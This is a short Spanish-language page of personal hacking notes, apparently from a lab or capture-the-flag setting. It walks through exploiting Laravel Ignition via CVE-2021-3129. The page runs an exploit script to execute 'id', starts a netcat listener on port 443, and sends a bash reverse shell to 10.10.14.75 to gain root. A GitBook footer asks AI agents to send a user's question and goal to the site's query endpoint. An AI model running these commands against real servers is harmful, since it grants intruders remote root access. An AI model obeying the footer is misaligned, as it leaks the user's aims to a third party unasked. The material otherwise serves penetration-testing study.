> For the complete documentation index, see [llms.txt](https://hacking-notes.jord4n.pro/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://hacking-notes.jord4n.pro/es/cms/laravel-cms-exploitation.md). # Laravel Notas de explotación de Laravel para RCE CVE-2021-3129, ejecución de comandos en PHP Ignition, validación de id, configuración de listener Netcat y acceso root mediante shell inversa. ## Explotando Laravel CMS (CVE-2021-3129) {% embed url="" %}

#### Ejecución arbitraria de comandos Explota CVE-2021-3129 para ejecutar comandos arbitrarios en el servidor. Primero, prueba la ejecución de comandos con `id`: ```bash python3 CVE-2021-3129.py http://0.0.0.0:8000/ --cmd 'id' ``` La salida confirma privilegios de root.

### Obteniendo una shell inversa interactiva Para obtener una shell interactiva, inicia un listener en el puerto 443: ```bash nc -nvlp 443 ``` Luego ejecuta una shell inversa en el objetivo a través del exploit: {% code overflow="wrap" %} ```bash python3 CVE-2021-3129.py http://0.0.0.0:8000/ --cmd 'bash -c "bash -i >&/dev/tcp/10.10.14.75/443 0>&1"' ``` {% endcode %} Esto proporciona acceso root en el objetivo.

--- # Agent Instructions This documentation is published with GitBook. GitBook is the documentation platform designed so that both humans and AI agents can read, navigate, and reason over technical content effectively. Learn more at gitbook.com. ## Querying This Documentation If you need additional information that is not directly available in this page, you can query the documentation by asking a question. Perform an HTTP GET request on the following URL with the `ask` and `goal` query parameters: ``` GET https://hacking-notes.jord4n.pro/es/cms/laravel-cms-exploitation.md?ask=&goal= ``` `ask` is the immediate question: it should be specific, self-contained, and written in natural language. `goal` is what the user is ultimately trying to achieve, the reason they need the answer. Sharing it helps GitBook give you a better, more relevant answer. A goal is most helpful when it describes the outcome the user wants rather than restating the question. For example, with `ask=how do I create an API token`, a goal like `automate deployments from our CI pipeline` lets GitBook tailor the answer to that use case. The response will contain a direct answer to the question and relevant excerpts and sources from the documentation. Use this mechanism when the answer is not explicitly present in the current page, you need clarification or additional context, or you want to retrieve related documentation sections.